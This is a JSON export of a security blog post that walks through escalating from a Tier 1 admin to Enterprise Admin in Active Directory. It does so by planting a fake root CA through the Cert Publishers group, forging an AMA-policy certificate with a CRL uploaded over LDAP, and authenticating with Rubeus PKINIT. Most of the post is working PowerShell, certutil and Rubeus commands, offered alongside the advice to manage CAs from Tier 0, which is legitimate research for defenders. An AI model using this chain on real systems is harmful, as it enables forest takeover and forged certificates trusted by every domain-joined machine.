{"id":1247,"date":"2025-03-17T17:34:41","date_gmt":"2025-03-17T16:34:41","guid":{"rendered":"https:\/\/blog.chrisse.se\/?p=1247"},"modified":"2025-03-17T17:34:41","modified_gmt":"2025-03-17T16:34:41","slug":"when-your-enterprise-pki-becomes-one-of-your-enemies-part-6","status":"publish","type":"post","link":"https:\/\/blog.chrisse.se\/?p=1247","title":{"rendered":"When your Enterprise PKI becomes one of your enemies (Part 6)"},"content":{"rendered":"\n

Create, Distribute enforce Trust of a fake CA from T1 – PKINIT\u2013 altSecurityIdentities + AMA + Cert Publishers<\/strong><\/p>\n\n\n\n

Let’s assume that ‘Issuing CA 2’ here is managed from T1 and not trusted in ‘NTAuth’ – should not be a problem or?<\/p>\n\n\n\n

\"\"<\/figure>\n\n\n\n

In this scenario a Tier 1 administrator could logon to ‘Issuing CA 2’ become SYSTEM and acting as the machines security context.
Enterprise CAs are automatically added to the ‘Cert Publishers’ Group and that group is always given ‘Full Control’ to a Enterprise CAs ‘certificationAuthority’ object within ‘CN=Certification Authorities,CN=Public Key Services,CN=Services,CN=Configuration,DC=nttest,DC=chrisse,DC=com’<\/p>\n\n\n\n

\"\"<\/figure>\n\n\n\n

This is unfortunately hardcoded into the installation of an Enterprise CA – But now to the interesting part what can you do if you’re member of ‘Cert Publishers’?

Well let’s create our own fake CA and a leaf certificate contain the AMA Issuance policy OID:<\/p>\n\n\n\n

CreateFakeCA and Leaf without CRL<\/span><\/path><\/path><\/svg><\/span>
Import-Module<\/span> <\/span>-<\/span>Name CertRequestTools<\/span><\/span>\n$CertPolicies <\/span>=<\/span> <\/span>New-CertificatePoliciesExtension<\/span> <\/span>-<\/span>Oid <\/span>"2.5.29.32.0"<\/span> <\/span><\/span>\n$AmaExtension <\/span>=<\/span> <\/span>New-CertificatePoliciesExtension<\/span> <\/span>-<\/span>Oid <\/span>"1.3.6.1.4.1.311.21.8.10665564.8181582.1918139.271632.11328427.90.1.402"<\/span><\/span>\n<\/span>\n$signer <\/span>=<\/span> <\/span>New-SelfSignedCertificate<\/span> <\/span>-<\/span>KeyExportPolicy Exportable <\/span>`<\/span><\/span>\n <\/span>-<\/span>CertStoreLocation Cert:\\CurrentUser\\My <\/span>`<\/span><\/span>\n <\/span>-<\/span>Subject <\/span>"CN=Chrisse Root CA,DC=chrisse,DC=com"<\/span> <\/span>`<\/span><\/span>\n <\/span>-<\/span>NotAfter (<\/span>Get-Date<\/span>).AddYears(<\/span>1<\/span>) <\/span>`<\/span><\/span>\n <\/span>-<\/span>HashAlgorithm sha256 <\/span>`<\/span><\/span>\n <\/span>-<\/span>KeyusageProperty All <\/span>`<\/span><\/span>\n <\/span>-<\/span>KeyUsage CertSign<\/span>,<\/span> CRLSign<\/span>,<\/span> DigitalSignature <\/span>`<\/span><\/span>\n <\/span>-<\/span>Extension $CertPolicies <\/span>`<\/span><\/span>\n <\/span>-<\/span>TextExtension <\/span>@<\/span>(<\/span>'2.5.29.37={text}1.3.6.1.4.1.311.10.12.1'<\/span>,<\/span> <\/span>'2.5.29.19={text}CA=1&pathlength=3'<\/span>)<\/span><\/span>\n<\/span>\n $params <\/span>=<\/span> <\/span>@<\/span>{<\/span><\/span>\n    Type <\/span>=<\/span> <\/span>'Custom'<\/span><\/span>\n    Subject <\/span>=<\/span> <\/span>'CN=DEMO5 - fakecaso1'<\/span><\/span>\n    <\/span>#KeySpec = 'Signature'<\/span><\/span>\n    KeyExportPolicy <\/span>=<\/span> <\/span>'Exportable'<\/span><\/span>\n    KeyLength <\/span>=<\/span> <\/span>2048<\/span><\/span>\n    HashAlgorithm <\/span>=<\/span> <\/span>'sha256'<\/span><\/span>\n    NotAfter <\/span>=<\/span> (<\/span>Get-Date<\/span>).AddMonths(<\/span>10<\/span>)<\/span><\/span>\n    CertStoreLocation <\/span>=<\/span> <\/span>'Cert:\\CurrentUser\\My'<\/span><\/span>\n    Signer <\/span>=<\/span> $signer<\/span><\/span>\n    TextExtension <\/span>=<\/span> <\/span>@<\/span>(<\/span><\/span>\n     <\/span>'2.5.29.37={text}1.3.6.1.5.5.7.3.2'<\/span>,<\/span><\/span>\n     <\/span>'2.5.29.17={text}upn=caso@nttest.chrisse.com'<\/span>)<\/span><\/span>\n    Extension <\/span>=<\/span>  $AmaExtension<\/span><\/span>\n}<\/span><\/span>\nNew-SelfSignedCertificate<\/span> @params<\/span><\/span>\nExport-Certificate<\/span> <\/span>-<\/span>Cert $signer <\/span>-<\/span>FilePath FakeCA.cer<\/span><\/span><\/code><\/pre><\/div>\n\n\n\n
Find any user within the forest where you can write to the ‘altSecurityIdentities’ attribute<\/p>\n\n\n\n
Set-AltSecurityIdentities<\/span><\/path><\/path><\/svg><\/span>
$cert  <\/span>=<\/span> ls Cert:\\CurrentUser\\my <\/span>|<\/span> <\/span>where<\/span> { <\/span>$_.subject<\/span> <\/span>-eq<\/span> <\/span>"CN=DEMO5 - fakecaso1"<\/span> }<\/span><\/span>\n.<\/span>\\Set-AltSecurityIdentities.ps1<\/span> <\/span>-<\/span>Identity CASO <\/span>-<\/span>MappingType IssuerSerialNumber <\/span>-<\/span>Certificate $cert<\/span><\/span><\/code><\/pre><\/div>\n\n\n\n
So we now have a CA ‘CN=Chrisse Root CA,DC=chrisse,DC=com’ and a certificate issued by the CA “CN=DEMO5 – fakecaso3” with the AMA Issuance OID. There is a reason why the CA is named “CN=Chrisse Root CA,DC=chrisse,DC=com” (The name of an already existing root CA within the forest – and that is because how certutil -dspublish will handle the CA certificate.
So now let’s become SYSTEM on ‘Issuing CA 2’ that’s by default member of the ‘Cert Publishers’ group – now let’s add the CA certificate to Active Directory using certutil.<\/p>\n\n\n\n
cmd<\/span><\/path><\/path><\/svg><\/span>
certutil -dspublish -f .\\FakeCA.cer rootca<\/span><\/span><\/code><\/pre><\/div>\n\n\n\n
\"\"<\/figure>\n\n\n\n

Opps – that worked – so what happened? Basically as certutil was running as SYSTEM on ‘Issuing CA 2’ being member of ‘Cert Publishers’ it had the ability to write the certificate of our ‘Fake CA’ into the existing object of ‘
CN=Chrisse Root CA,CN=Certificate Authorities,CN=Public Key Services,CN=Services,CN=Configuration,DC=nttest,DC=chrisse,DC=com’s ‘cACertificate’ attribute becuse the subject matched ‘CN=Chrisse Root CA,DC=chrisse,DC=com’
Our ‘Fake CA’ certificate is now the 2:nd value added to the ‘cACertificate’ attribute<\/p>\n\n\n\n
\"\"<\/figure>\n\n\n\n
Now the interesting part – will all domain joined clients within this forest now trust our ‘Fake CA’?<\/p>\n\n\n\n
\"\"<\/figure>\n\n\n\n
Ops again, yep even on Domain Controllers (DCs) \/ Key Distribution Centers (KDCs). So what can we do now, the lead certificate we issued above with the AMA Issuance Policy OID can we use it to perform PKINIT and take over the forest?<\/p>\n\n\n\n
\"\"<\/figure>\n\n\n\n
Nope – not possible (at least not yet \ud83d\ude42 ) – even that the certificate don’t have a CDP extension at all, the KDC demands that all certificates used by PKINIT needs to have a valid CDP or OCSP. What if we fix that as well?<\/p>\n\n\n\n
Create and Sign CRL with Fake CA<\/span><\/path><\/path><\/svg><\/span>
Import-Module<\/span> <\/span>-<\/span>Name CertRequestTools<\/span><\/span>\n$Crl <\/span>=<\/span> [<\/span>CERTENROLLlib.CX509CertificateRevocationListClass<\/span>]::new()<\/span><\/span>\n$Crl.Initialize()<\/span><\/span>\n$dn <\/span>=<\/span> [<\/span>CERTENROLLlib.CX500DistinguishedNameClass<\/span>]::new()<\/span><\/span>\n$dn.Encode(<\/span>"CN=Chrisse Root CA,DC=chrisse,DC=com"<\/span>,<\/span> [<\/span>CERTENROLLlib.x500NameFlags<\/span>]::XCN_CERT_X500_NAME_STR)<\/span><\/span>\n$Crl.Issuer <\/span>=<\/span> $dn<\/span><\/span>\n$Crl.CRLNumber([<\/span>CERTENROLLlib.EncodingType<\/span>]::XCN_CRYPT_STRING_HEX) <\/span>=<\/span> <\/span>"0001"<\/span><\/span>\n$signer <\/span>=<\/span> [<\/span>CERTENROLLlib.CSignerCertificateClass<\/span>]::new()<\/span><\/span>\n# Note the thumbprint below is the 'Fake CA' certificate with the private key available <\/span><\/span>\n$signer.Initialize(<\/span>$false<\/span>,<\/span>[<\/span>CERTENROLLlib.X509PrivateKeyVerify<\/span>]::VerifyNone<\/span>,<\/span> [<\/span>CERTENROLLlib.EncodingType<\/span>]::XCN_CRYPT_STRING_HEXRAW<\/span>,<\/span> <\/span>"D948F2E5585FD3C7802263DAED9722E67315FA02"<\/span>)<\/span><\/span>\n$Crl.SignerCertificate <\/span>=<\/span> $signer<\/span><\/span>\n$Crl.Encode()<\/span><\/span>\n<\/span>\n[<\/span>System.IO.File<\/span>]::WriteAllBytes(<\/span>"fakeca.crl"<\/span>,<\/span> [<\/span>System.Convert<\/span>]::FromBase64String($Crl.RawData()))<\/span><\/span><\/code><\/pre><\/div>\n\n\n\n
So the next step would be to publish the signed CRL for our fake CA somewhere – we could just host a webserver somewhere and include the URL in a newly issued leaf certificate – It would look something like this:<\/p>\n\n\n\n
Issue certificate with AMA extension and HTTP CDP<\/span><\/path><\/path><\/svg><\/span>
$AmaExtension <\/span>=<\/span> <\/span>New-CertificatePoliciesExtension<\/span> <\/span>-<\/span>Oid <\/span>"1.3.6.1.4.1.311.21.8.10665564.8181582.1918139.271632.11328427.90.1.402"<\/span><\/span>\n<\/span>\n$CRLDistInfo <\/span>=<\/span> [<\/span>CERTENClib.CCertEncodeCRLDistInfoClass<\/span>]::new()<\/span><\/span>\n$CRLDistInfo.Reset(<\/span>1<\/span>)<\/span><\/span>\n$CRLDistInfo.SetNameCount(<\/span>0<\/span>,<\/span> <\/span>1<\/span>)<\/span><\/span>\n$CRLDistInfo.SetNameEntry(<\/span>0<\/span>,<\/span> <\/span>0<\/span>,<\/span> <\/span>7<\/span>,<\/span> <\/span>"http:\/\/192.168.1.1\/cdp\/fakeca.crl"<\/span>)<\/span><\/span>\n$CRLDistInfoB64 <\/span>=<\/span> $CRLDistInfo.EncodeBlob([<\/span>CERTENClib.EncodingType<\/span>]::XCN_CRYPT_STRING_BASE64)<\/span><\/span>\n$CRLDistInfoExtManaged <\/span>=<\/span> [<\/span>System.Security.Cryptography.X509Certificates.X509Extension<\/span>]::new(<\/span>"2.5.29.31"<\/span>,<\/span> [<\/span>Convert<\/span>]::FromBase64String($CRLDistInfoB64)<\/span>,<\/span> <\/span>$false<\/span>)<\/span><\/span>\n<\/span>\n $params <\/span>=<\/span> <\/span>@<\/span>{<\/span><\/span>\n    Type <\/span>=<\/span> <\/span>'Custom'<\/span><\/span>\n    Subject <\/span>=<\/span> <\/span>'CN=DEMO5 - fakecaso2'<\/span><\/span>\n    <\/span>#KeySpec = 'Signature'<\/span><\/span>\n    KeyExportPolicy <\/span>=<\/span> <\/span>'Exportable'<\/span><\/span>\n    KeyLength <\/span>=<\/span> <\/span>2048<\/span><\/span>\n    HashAlgorithm <\/span>=<\/span> <\/span>'sha256'<\/span><\/span>\n    NotAfter <\/span>=<\/span> (<\/span>Get-Date<\/span>).AddMonths(<\/span>10<\/span>)<\/span><\/span>\n    CertStoreLocation <\/span>=<\/span> <\/span>'Cert:\\CurrentUser\\My'<\/span><\/span>\n    Signer <\/span>=<\/span> $signer<\/span><\/span>\n    TextExtension <\/span>=<\/span> <\/span>@<\/span>(<\/span><\/span>\n     <\/span>'2.5.29.37={text}1.3.6.1.5.5.7.3.2'<\/span>,<\/span><\/span>\n     <\/span>'2.5.29.17={text}upn=caso@nttest.chrisse.com'<\/span>)<\/span><\/span>\n    Extension <\/span>=<\/span>  $CRLDistInfoExtManaged<\/span>,<\/span> $AmaExtension<\/span><\/span>\n}<\/span><\/span>\nNew-SelfSignedCertificate<\/span> @params<\/span><\/span><\/code><\/pre><\/div>\n\n\n\n
Find any user within the forest where you can write to the ‘altSecurityIdentities’ attribute<\/p>\n\n\n\n
Set-AltSecurityIdentities<\/span><\/path><\/path><\/svg><\/span>
$cert  <\/span>=<\/span> ls Cert:\\CurrentUser\\my <\/span>|<\/span> <\/span>where<\/span> { <\/span>$_.subject<\/span> <\/span>-eq<\/span> <\/span>"CN=DEMO5 - fakecaso2"<\/span> }<\/span><\/span>\n.<\/span>\\Set-AltSecurityIdentities.ps1<\/span> <\/span>-<\/span>Identity CASO <\/span>-<\/span>MappingType IssuerSerialNumber <\/span>-<\/span>Certificate $cert<\/span><\/span><\/code><\/pre><\/div>\n\n\n\n
But what if the Domain Controllers (DCs) \/ Key Distribution Centers (KDCs) would block outgoing HTTP traffic to random destination(s) – well they should.<\/p>\n\n\n\n
But what they can’t block is LDAP access to themselves right? \ud83d\ude42 So let’s go for an LDAP CDP instead – hm but wait we only have the power of being ‘Cert Publishers’ through the SYSTEM context of ‘Issuing CA 2’ – turns out that might be a probelm.<\/p>\n\n\n\n
\"\"<\/figure>\n\n\n\n
It turn’s out that ‘Cert Publishers’ have Full Control on any sub-container created as part of every Enterprise CA installation, let’s use that \ud83d\ude42<\/p>\n\n\n\n
Upload CRL signed by FakeCA to AD<\/span><\/path><\/path><\/svg><\/span>
using<\/span> <\/span>namespace<\/span> System.DirectoryServices.Protocols<\/span><\/span>\n<\/span>\n$Assembly <\/span>=<\/span> <\/span>"System.DirectoryServices.Protocols"<\/span><\/span>\nTry<\/span><\/span>\n{<\/span><\/span>\nAdd-Type<\/span> <\/span>-<\/span>AssemblyName $Assembly <\/span>-<\/span>ErrorAction Stop<\/span><\/span>\n}<\/span><\/span>\nCatch<\/span><\/span>\n{<\/span><\/span>\n<\/span>\nthrow<\/span><\/span>\n}<\/span><\/span>\n# Connect to $ForestDomainName<\/span><\/span>\n$Identifier <\/span>=<\/span> [<\/span>LdapDirectoryIdentifier<\/span>]::new($ForestDomainName<\/span>,<\/span> <\/span>389<\/span>,<\/span> <\/span>$false<\/span>,<\/span> <\/span>$false<\/span>)<\/span><\/span>\n$Ldap <\/span>=<\/span> [<\/span>LdapConnection<\/span>]::new($Identifier<\/span>,<\/span> <\/span>$null<\/span>,<\/span> [<\/span>AuthType<\/span>]::Kerberos)<\/span><\/span>\n$Ldap.AutoBind <\/span>=<\/span> <\/span>$false<\/span><\/span>\n$Ldap.ClientCertificates.Clear()<\/span><\/span>\n$SessionOptions <\/span>=<\/span> $Ldap.SessionOptions<\/span><\/span>\n$SessionOptions.LocatorFlag <\/span>=<\/span> [<\/span>LocatorFlags<\/span>]::WriteableRequired <\/span>-bor<\/span> [<\/span>LocatorFlags<\/span>]::DirectoryServicesRequired <\/span>-bor<\/span> [<\/span>LocatorFlags<\/span>]::ForceRediscovery<\/span><\/span>\n$SessionOptions.Signing <\/span>=<\/span> <\/span>$true<\/span><\/span>\n$SessionOptions.Sealing <\/span>=<\/span> <\/span>$true<\/span><\/span>\n$SessionOptions.ProtocolVersion <\/span>=<\/span> <\/span>3<\/span><\/span>\n$SessionOptions.ReferralChasing <\/span>=<\/span> [<\/span>ReferralChasingOptions<\/span>]::None<\/span><\/span>\n<\/span>\nTry<\/span><\/span>\n{<\/span><\/span>\n$Ldap.Bind()<\/span><\/span>\n}<\/span><\/span>\nCatch<\/span><\/span>\n{<\/span><\/span>\n<\/span>\nthrow<\/span><\/span>\n}<\/span><\/span>\n<\/span>\n# Get configurationNamingContext<\/span><\/span>\n$ConfigNamingContext <\/span>=<\/span> <\/span>"configurationNamingContext"<\/span><\/span>\n<\/span>\n$RootDseSearchRequest <\/span>=<\/span> [<\/span>SearchRequest<\/span>]::new([<\/span>String<\/span>]::Empty<\/span>,<\/span> <\/span>"(&(objectClass=*))"<\/span>,<\/span> [<\/span>SearchScope<\/span>]::Base<\/span>,<\/span> $ConfigNamingContext)<\/span><\/span>\nTry<\/span><\/span>\n{<\/span><\/span>\n$RootDseSearchResponse <\/span>=<\/span> [<\/span>SearchResponse<\/span>]$Ldap.SendRequest($RootDseSearchRequest)<\/span><\/span>\n}<\/span><\/span>\nCatch<\/span><\/span>\n{<\/span><\/span>\n<\/span>\nthrow<\/span><\/span>\n}<\/span><\/span>\nIf<\/span> ($RootDseSearchResponse.Entries.Count <\/span>-eq<\/span> <\/span>0<\/span>)<\/span><\/span>\n{<\/span><\/span>\n<\/span>\nthrow<\/span><\/span>\n}<\/span><\/span>\n$RootDse <\/span>=<\/span> $RootDseSearchResponse.Entries[<\/span>0<\/span>]<\/span><\/span>\n<\/span>\nIf<\/span> (<\/span>!<\/span>$RootDse.Attributes.Contains($ConfigNamingContext))<\/span><\/span>\n{<\/span><\/span>\n<\/span>\nthrow<\/span><\/span>\n}<\/span><\/span>\n$CDPLocation <\/span>=<\/span> <\/span>""<\/span><\/span>\n$CASubject <\/span>=<\/span> <\/span>"CN=Chrisse Root CA"<\/span><\/span>\n$Configuration <\/span>=<\/span> $RootDse.Attributes[$ConfigNamingContext][<\/span>0<\/span>]<\/span><\/span>\n<\/span>\n$searchRequest <\/span>=<\/span> [<\/span>SearchRequest<\/span>]::new([<\/span>String<\/span>]::Format(<\/span>"CN=CDP,CN=Public Key Services,CN=Services,{0}"<\/span>,<\/span> $Configuration)<\/span>,<\/span> <\/span>"(objectClass=cRLDistributionPoint)"<\/span>,<\/span> [<\/span>SearchScope<\/span>]::Subtree<\/span>,<\/span> <\/span>"objectClass"<\/span>)<\/span><\/span>\n<\/span>\n$searchResponse <\/span>=<\/span> $ldap.SendRequest($searchRequest);<\/span><\/span>\n<\/span>\nif<\/span> ($searchResponse.Entries.Count <\/span>-eq<\/span> <\/span>0<\/span>)<\/span><\/span>\n{<\/span><\/span>\nthrow<\/span><\/span>\n}<\/span><\/span>\nforeach<\/span>($entry <\/span>in<\/span> $searchResponse.Entries)<\/span><\/span>\n{<\/span><\/span>\nif<\/span>($entry.DistinguishedName.StartsWith($CASubject<\/span>,<\/span> [<\/span>System.StringComparison<\/span>]::CurrentCultureIgnoreCase))<\/span><\/span>\n{<\/span><\/span>\n$CDPContainer <\/span>=<\/span> $entry.DistinguishedName.IndexOf(<\/span>','<\/span>) <\/span>+1<\/span><\/span>\n$CDPLocation <\/span>=<\/span> $entry.DistinguishedName.Substring($CDPContainer)<\/span><\/span>\n}<\/span><\/span>\n}<\/span><\/span>\n<\/span>\nif<\/span> ($CDPLocation <\/span>-eq<\/span> <\/span>""<\/span>)<\/span><\/span>\n{<\/span><\/span>\n$CDPContainer <\/span>=<\/span> $searchResponse.Entries[<\/span>0<\/span>].DistinguishedName.IndexOf(<\/span>','<\/span>) <\/span>+1<\/span><\/span>\n$CDPLocation <\/span>=<\/span> $searchResponse.Entries[<\/span>0<\/span>].DistinguishedName.Substring($CDPContainer)<\/span><\/span>\n}<\/span><\/span>\n<\/span>\n#Load the CRL created and signed earlier from file<\/span><\/span>\n$CrlBytes <\/span>=<\/span> [<\/span>System.IO.File<\/span>]::ReadAllBytes(<\/span>"fakeca.crl"<\/span>)<\/span><\/span>\n<\/span>\n$addRequest <\/span>=<\/span> [<\/span>AddRequest<\/span>]::new([<\/span>String<\/span>]::Format(<\/span>"$CASubject,{0}"<\/span>,<\/span> $CDPLocation)<\/span>,<\/span><\/span>\n<\/span>\n[<\/span>DirectoryAttribute<\/span>]::new(<\/span>"objectClass"<\/span>,<\/span> <\/span>"cRLDistributionPoint"<\/span>)<\/span>,<\/span><\/span>\n[<\/span>DirectoryAttribute<\/span>]::new(<\/span>"certificateRevocationList"<\/span>,<\/span>$CrlBytes)<\/span><\/span>\n<\/span>\n)<\/span><\/span>\n$addResponse <\/span>=<\/span> $ldap.SendRequest($addRequest)<\/span><\/span><\/code><\/pre><\/div>\n\n\n\n
So now let’s issue a new certificate from our ‘FakeCA’ that includes both the AMA Issuance Policy OID and the CDP extension pointing to an LDAP URI instead of HTTP.<\/p>\n\n\n\n
Issue certificate with AMA extension and LDAP CDP<\/span><\/path><\/path><\/svg><\/span>
Import-Module<\/span> <\/span>-<\/span>Name CertRequestTools<\/span><\/span>\n$AmaExtension <\/span>=<\/span> <\/span>New-CertificatePoliciesExtension<\/span> <\/span>-<\/span>Oid <\/span>"1.3.6.1.4.1.311.21.8.10665564.8181582.1918139.271632.11328427.90.1.402"<\/span><\/span>\n$CRLDistInfo <\/span>=<\/span> [<\/span>CERTENClib.CCertEncodeCRLDistInfoClass<\/span>]::new()<\/span><\/span>\n$CRLDistInfo.Reset(<\/span>1<\/span>)<\/span><\/span>\n$CRLDistInfo.SetNameCount(<\/span>0<\/span>,<\/span> <\/span>1<\/span>)<\/span><\/span>\n$CRLDistInfo.SetNameEntry(<\/span>0<\/span>,<\/span> <\/span>0<\/span>,<\/span> <\/span>7<\/span>,<\/span> <\/span>"ldap:\/\/\/CN=Chrisse Root CA,CN=NTTEST-CA-01,CN=CDP,CN=Public Key Services,CN=Services,CN=Configuration,DC=nttest,DC=chrisse,DC=com?certificateRevocationList?base?objectClass=cRLDistributionPoint"<\/span>)<\/span><\/span>\n$CRLDistInfoB64 <\/span>=<\/span> $CRLDistInfo.EncodeBlob([<\/span>CERTENClib.EncodingType<\/span>]::XCN_CRYPT_STRING_BASE64)<\/span><\/span>\n$CRLDistInfoExtManaged <\/span>=<\/span> [<\/span>System.Security.Cryptography.X509Certificates.X509Extension<\/span>]::new(<\/span>"2.5.29.31"<\/span>,<\/span> [<\/span>Convert<\/span>]::FromBase64String($CRLDistInfoB64)<\/span>,<\/span> <\/span>$false<\/span>)<\/span><\/span>\n<\/span>\n $params <\/span>=<\/span> <\/span>@<\/span>{<\/span><\/span>\n    Type <\/span>=<\/span> <\/span>'Custom'<\/span><\/span>\n    Subject <\/span>=<\/span> <\/span>'CN=DEMO5 - fakecaso3'<\/span><\/span>\n    <\/span>#KeySpec = 'Signature'<\/span><\/span>\n    KeyExportPolicy <\/span>=<\/span> <\/span>'Exportable'<\/span><\/span>\n    KeyLength <\/span>=<\/span> <\/span>2048<\/span><\/span>\n    HashAlgorithm <\/span>=<\/span> <\/span>'sha256'<\/span><\/span>\n    NotAfter <\/span>=<\/span> (<\/span>Get-Date<\/span>).AddMonths(<\/span>10<\/span>)<\/span><\/span>\n    CertStoreLocation <\/span>=<\/span> <\/span>'Cert:\\CurrentUser\\My'<\/span><\/span>\n    <\/span># $signer is the 'Fake CA' certificate with private key<\/span><\/span>\n    Signer <\/span>=<\/span> $signer<\/span><\/span>\n    TextExtension <\/span>=<\/span> <\/span>@<\/span>(<\/span><\/span>\n     <\/span>'2.5.29.37={text}1.3.6.1.5.5.7.3.2'<\/span>,<\/span><\/span>\n     <\/span>'2.5.29.17={text}upn=caso@nttest.chrisse.com'<\/span>)<\/span><\/span>\n    Extension <\/span>=<\/span>  $CRLDistInfoExtManaged<\/span>,<\/span> $AmaExtension<\/span><\/span>\n}<\/span><\/span>\nNew-SelfSignedCertificate<\/span> @params<\/span><\/span><\/code><\/pre><\/div>\n\n\n\n
Find any user within the forest where you can write to the ‘altSecurityIdentities’ attribute<\/p>\n\n\n\n
Set-AltSecurityIdentities<\/span><\/path><\/path><\/svg><\/span>
$cert  <\/span>=<\/span> ls Cert:\\CurrentUser\\my <\/span>|<\/span> <\/span>where<\/span> { <\/span>$_.subject<\/span> <\/span>-eq<\/span> <\/span>"CN=DEMO5 - fakecaso3"<\/span> }<\/span><\/span>\n.<\/span>\\Set-AltSecurityIdentities.ps1<\/span> <\/span>-<\/span>Identity CASO <\/span>-<\/span>MappingType IssuerSerialNumber <\/span>-<\/span>Certificate $cert<\/span><\/span><\/code><\/pre><\/div>\n\n\n\n
Now perform PKINIT using the certificate with AMA Issuance OID and LDAP CDP from\/signed ny our  ‘Fake CA’  – nothing can stop us now.<\/p>\n\n\n\n
Use Rubeus to preform the PKIINIT and thanks to having the AMA Issuance OID we should be ‘Enterprise Admins’ within the forest.<\/p>\n\n\n\n
cmd<\/span><\/path><\/path><\/svg><\/span>
rubeus asktgt <\/span>\/<\/span>user:CASO <\/span>\/<\/span>certificate:<\/span><<\/span>HASH<\/span>><\/span> <\/span>\/<\/span>enctype:aes256 <\/span>\/<\/span>createnetonly:C:\\Windows\\System32\\<\/span>cmd.exe<\/span> <\/span>\/<\/span>show<\/span><\/span><\/code><\/pre><\/div>\n\n\n\n
\"\"<\/figure>\n\n\n\n
All it required was altSecurityIdentities + AMA + Cert Publishers – a T1 admin that had access to a Enterprise CA in T1 and the ability to write to ‘altSecurityIdentities’ to at least one user within the entire forest, and of course that AMA are being used to safeguard Enterprise Admins.<\/p>\n\n\n\n
So to summaries this: All Enterprise CAs within an Active Directory forest _must_ be managed from T0<\/strong>, otherwise escalation paths like the one just described can be accomplished – and just think about what we have done here – even if you’re not using AMA, there is still a Certificate Authority that is trusted on\/by all domain joined devices within the forest, you can create web-server certificates, code signing certs etc.<\/p>\n\n\n\n
Note all my demos uses \u2018CertRequestTools<\/a>\u2018 from Carl S\u00f6rqvist and in this case also\u00a0Rubeus\u00a0<\/a>from Will Schroeder.<\/p>\n\n\n\n
Credits to “Decoder’s” blog<\/a> that bought this topic to the light, I have just proven it can be combined with AMA abuse to gain full control of the forest as well writing some sample code how to create a ‘Fake CA’ in PowerShell.<\/p>\n","protected":false},"excerpt":{"rendered":"
Create, Distribute enforce Trust of a fake CA from T1 – PKINIT\u2013 altSecurityIdentities + AMA + Cert Publishers Let’s assume that ‘Issuing CA 2’ here is managed from T1 and not trusted in ‘NTAuth’ – should not be a problem or? In this scenario a Tier 1 administrator could logon to ‘Issuing CA 2’ become … <\/p>\n
Continue reading “When your Enterprise PKI becomes one of your enemies (Part 6)”<\/span><\/a><\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"_exactmetrics_skip_tracking":false,"_exactmetrics_sitenote_active":false,"_exactmetrics_sitenote_note":"","_exactmetrics_sitenote_category":0,"footnotes":""},"categories":[36],"tags":[32,39,40,30,31],"class_list":["post-1247","post","type-post","status-publish","format-standard","hentry","category-public-key-infrastructure-pki","tag-adcs","tag-ama","tag-fakeca","tag-pki","tag-sitr"],"_links":{"self":[{"href":"https:\/\/blog.chrisse.se\/index.php?rest_route=\/wp\/v2\/posts\/1247","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/blog.chrisse.se\/index.php?rest_route=\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/blog.chrisse.se\/index.php?rest_route=\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/blog.chrisse.se\/index.php?rest_route=\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/blog.chrisse.se\/index.php?rest_route=%2Fwp%2Fv2%2Fcomments&post=1247"}],"version-history":[{"count":5,"href":"https:\/\/blog.chrisse.se\/index.php?rest_route=\/wp\/v2\/posts\/1247\/revisions"}],"predecessor-version":[{"id":1259,"href":"https:\/\/blog.chrisse.se\/index.php?rest_route=\/wp\/v2\/posts\/1247\/revisions\/1259"}],"wp:attachment":[{"href":"https:\/\/blog.chrisse.se\/index.php?rest_route=%2Fwp%2Fv2%2Fmedia&parent=1247"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/blog.chrisse.se\/index.php?rest_route=%2Fwp%2Fv2%2Fcategories&post=1247"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/blog.chrisse.se\/index.php?rest_route=%2Fwp%2Fv2%2Ftags&post=1247"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}